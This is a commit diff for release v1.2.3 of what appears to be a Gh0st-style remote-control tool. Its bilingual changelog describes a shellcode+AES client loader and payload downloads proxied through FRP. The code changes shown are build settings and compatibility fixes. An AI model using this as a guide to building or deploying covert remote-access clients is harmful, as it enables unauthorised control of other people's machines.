Release v1.2.3

This commit is contained in:
yuanyuanxiang
2026-01-21 18:18:02 +01:00
parent 6a1e0810ab
commit 895ac3f54c
17 changed files with 140 additions and 13 deletions

View File

@@ -203,6 +203,31 @@ for /R %F in (*.cpp *.h *.c) do astyle --style=linux "%F"
更早的变更记录参看:[history](./history.md) 更早的变更记录参看:[history](./history.md)
**发布 v1.2.32026.1.21**
本版本主要增强远程桌面控制体验,优化客户端更新逻辑,并修复多项稳定性问题。
- 新功能:支持从 http(s) 服务器下载 payload
- 新功能:重构 ClientList 并添加对话框显示
- 新功能:支持在屏幕控制中使用远程光标
- 改进:使用 FRP 代理 payload 下载请求
- 改进:`GetForegroundSelectedFiles` 后执行 `ExpandDirectories`
- 改进:更改某些对话框的 zstd 压缩选项
- 改进:更新 zlib 到 `1.3.1.2` 版本并在解压缩中使用上下文
- 改进:为 Windows Server 使用旧的 shellcode+AES 加载器构建客户端
- 改进:添加远程桌面工具栏的更多功能/按钮
- 改进:改进远程控制 `ScreenSpyDlg` 重连逻辑
- 改进:显示系统对话框中所有窗口状态
- 改进:为 EXE 类型客户端添加更新逻辑
- 修复:`GetPort` 导致不显示主机离线日志的问题
- 修复commit 2fb77d5 导致的 OnOnlineUpdate 问题
- 修复:`GetProcessList` 无法获取某些进程完整路径的问题
- 修复:时间检查以使重新分配的客户端立即恢复
- 修复:#288 命令行问题
- 修复:安装时复制 payload 文件到目标目录的问题
- 修复:#281 检查 CPU 是否支持 SSE2 以避免客户端崩溃
- 修复:远程桌面窗口恢复大小问题
**发布 v1.2.22026.1.11** **发布 v1.2.22026.1.11**
本版本主要增强远程桌面设置持久化、文件管理功能,并改进授权和键盘转发。 本版本主要增强远程桌面设置持久化、文件管理功能,并改进授权和键盘转发。

View File

@@ -206,6 +206,31 @@ For cross-network, cross-border, or international remote control system deployme
For earlier changes, see: [history](./history.md) For earlier changes, see: [history](./history.md)
**Release v1.2.3 (2026.1.21):**
This release enhances remote desktop control experience, optimizes client update logic, and fixes several stability issues.
- Feature: Support download payload from http(s) server
- Feature: Refactor ClientList and add dialog to show it
- Feature: Support using remote cursor in screen control
- Improve: Use FRP to proxy payload download request
- Improve: `ExpandDirectories` after `GetForegroundSelectedFiles`
- Improve: Change zstd compression options for some dialog
- Improve: Update zlib to version `1.3.1.2` and use context in decompression
- Improve: Use old shellcode+AES loader to build client for Windows Server
- Improve: Add more features/buttons for remote desktop toolbar
- Improve: Improve remote control `ScreenSpyDlg` reconnect logic
- Improve: Show all windows status in system dialog
- Improve: Add client update logic for client type EXE
- Fix: `GetPort` issue causing not show host offline log
- Fix: OnOnlineUpdate caused by commit 2fb77d5
- Fix: `GetProcessList` can't get some process full path
- Fix: Check time to make reassigned client restore immediately
- Fix: #288 Command line issues
- Fix: Copy payload file to target directory when installing
- Fix: #281 Check if CPU has SSE2 to avoid client crash
- Fix: Remote desktop window restore size issue
**Release v1.2.2 (2026.1.11):** **Release v1.2.2 (2026.1.11):**
This release enhances remote desktop settings persistence, file management features, and improves authorization and keyboard forwarding. This release enhances remote desktop settings persistence, file management features, and improves authorization and keyboard forwarding.

View File

@@ -138,7 +138,7 @@
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -159,7 +159,7 @@
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>

View File

@@ -16,7 +16,7 @@
#include "ScreenSpy.h" #include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h" #include "ScreenCapturerDXGI.h"
#include <Shlwapi.h> #include <Shlwapi.h>
#include <shlobj_core.h> #include <shlobj.h>
#include "common/file_upload.h" #include "common/file_upload.h"
#include <thread> #include <thread>
#include "ClientDll.h" #include "ClientDll.h"

View File

@@ -7,7 +7,7 @@
// //
// Generated from the TEXTINCLUDE 2 resource. // Generated from the TEXTINCLUDE 2 resource.
// //
#include "afxres.h" #include <winres.h>
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS #undef APSTUDIO_READONLY_SYMBOLS
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,2,2 FILEVERSION 1,0,2,3
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.2.2" VALUE "FileVersion", "1.0.2.3"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -5,6 +5,10 @@
#include <iostream> #include <iostream>
#include <tlhelp32.h> #include <tlhelp32.h>
#ifndef IMAGE_FILE_MACHINE_ARM64
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
#endif
DWORD HashFunctionName(LPSTR name); DWORD HashFunctionName(LPSTR name);
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,

Binary file not shown.

View File

@@ -134,7 +134,7 @@
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -155,7 +155,7 @@
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>

View File

@@ -144,7 +144,7 @@
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -167,7 +167,7 @@
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>

View File

@@ -2,6 +2,13 @@
#include "header.h" #include "header.h"
#ifndef IMAGE_FILE_MACHINE_ARM64
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
#endif
#ifndef PROCESSOR_ARCHITECTURE_ARM64
#define PROCESSOR_ARCHITECTURE_ARM64 12
#endif
// 数据包协议封装格式 // 数据包协议封装格式
// Copy left: 962914132@qq.com & ChatGPT // Copy left: 962914132@qq.com & ChatGPT
enum PkgMaskType { enum PkgMaskType {

View File

@@ -556,6 +556,34 @@ Release v1.1.4
* 功能: 文件管理对话框支持压缩文件 * 功能: 文件管理对话框支持压缩文件
* 改进: 添加 F10、WM_SYSKEYDOWN、WM_SYSKEYUP 的转发 * 改进: 添加 F10、WM_SYSKEYDOWN、WM_SYSKEYUP 的转发
**2026.01.21**
发布版本 v1.2.3
本版本主要增强远程桌面控制体验,优化客户端更新逻辑,并修复多项稳定性问题。
* 功能: 支持从 http(s) 服务器下载 payload
* 功能: 重构 ClientList 并添加对话框显示
* 功能: 支持在屏幕控制中使用远程光标
* 改进: 使用 FRP 代理 payload 下载请求
* 改进: `GetForegroundSelectedFiles` 后执行 `ExpandDirectories`
* 改进: 更改某些对话框的 zstd 压缩选项
* 改进: 更新 zlib 到 `1.3.1.2` 版本并在解压缩中使用上下文
* 改进: 为 Windows Server 使用旧的 shellcode+AES 加载器构建客户端
* 改进: 添加远程桌面工具栏的更多功能/按钮
* 改进: 改进远程控制 `ScreenSpyDlg` 重连逻辑
* 改进: 显示系统对话框中所有窗口状态
* 改进: 为 EXE 类型客户端添加更新逻辑
* 修复: `GetPort` 导致不显示主机离线日志的问题
* 修复: commit 2fb77d5 导致的 OnOnlineUpdate 问题
* 修复: `GetProcessList` 无法获取某些进程完整路径的问题
* 修复: 时间检查以使重新分配的客户端立即恢复
* 修复: #288 命令行问题
* 修复: 安装时复制 payload 文件到目标目录的问题
* 修复: #281 检查 CPU 是否支持 SSE2 以避免客户端崩溃
* 修复: 远程桌面窗口恢复大小问题
--- ---
[English, since 2025] [English, since 2025]
@@ -875,3 +903,30 @@ This release enhances remote desktop settings persistence, file management featu
* Improve: Showing file transmit progress dialog * Improve: Showing file transmit progress dialog
* Feature: Support compress files in file management dialog * Feature: Support compress files in file management dialog
* Improve: Add F10, WM_SYSKEYDOWN, WM_SYSKEYUP to forward * Improve: Add F10, WM_SYSKEYDOWN, WM_SYSKEYUP to forward
**2026.01.21**
Release v1.2.3
This release enhances remote desktop control experience, optimizes client update logic, and fixes several stability issues.
* Feature: Support download payload from http(s) server
* Feature: Refactor ClientList and add dialog to show it
* Feature: Support using remote cursor in screen control
* Improve: Use FRP to proxy payload download request
* Improve: `ExpandDirectories` after `GetForegroundSelectedFiles`
* Improve: Change zstd compression options for some dialog
* Improve: Update zlib to version `1.3.1.2` and use context in decompression
* Improve: Use old shellcode+AES loader to build client for Windows Server
* Improve: Add more features/buttons for remote desktop toolbar
* Improve: Improve remote control `ScreenSpyDlg` reconnect logic
* Improve: Show all windows status in system dialog
* Improve: Add client update logic for client type EXE
* Fix: `GetPort` issue causing not show host offline log
* Fix: OnOnlineUpdate caused by commit 2fb77d5
* Fix: `GetProcessList` can't get some process full path
* Fix: Check time to make reassigned client restore immediately
* Fix: #288 Command line issues
* Fix: Copy payload file to target directory when installing
* Fix: #281 Check if CPU has SSE2 to avoid client crash
* Fix: Remote desktop window restore size issue

Binary file not shown.

View File

@@ -29,7 +29,12 @@ public:
virtual std::string GetPeerName() const override virtual std::string GetPeerName() const override
{ {
char client_ip[INET_ADDRSTRLEN]; char client_ip[INET_ADDRSTRLEN];
#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
client_ip[INET_ADDRSTRLEN - 1] = '\0';
#else
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
#endif
return client_ip; return client_ip;
} }
virtual int GetPort() const override virtual int GetPort() const override

View File

@@ -731,7 +731,12 @@ public:
virtual std::string GetPeerName() const override virtual std::string GetPeerName() const override
{ {
char client_ip[INET_ADDRSTRLEN]; char client_ip[INET_ADDRSTRLEN];
#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
client_ip[INET_ADDRSTRLEN - 1] = '\0';
#else
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
#endif
return client_ip; return client_ip;
} }
virtual int GetPort() const override virtual int GetPort() const override

View File

@@ -17,6 +17,7 @@
#include <wincrypt.h> #include <wincrypt.h>
#include <iostream> #include <iostream>
#include "common/commands.h" #include "common/commands.h"
#include <algorithm>
#pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "bcrypt.lib") #pragma comment(lib, "bcrypt.lib")
@@ -85,8 +86,8 @@ std::string execCommand(const char* cmd)
SAFE_CLOSE_HANDLE(pi.hThread); SAFE_CLOSE_HANDLE(pi.hThread);
// 去除换行符和空格 // 去除换行符和空格
result.erase(remove(result.begin(), result.end(), '\n'), result.end()); result.erase(std::remove(result.begin(), result.end(), '\n'), result.end());
result.erase(remove(result.begin(), result.end(), '\r'), result.end()); result.erase(std::remove(result.begin(), result.end(), '\r'), result.end());
// 返回命令的输出结果 // 返回命令的输出结果
return result.empty() ? "ERROR" : result; return result.empty() ? "ERROR" : result;

View File

@@ -81,7 +81,7 @@
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<OutputFile>$(SolutionDir)Bin\Plugins\$(TargetName)$(TargetExt)</OutputFile> <OutputFile>$(SolutionDir)Bin\Plugins\$(TargetName)$(TargetExt)</OutputFile>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>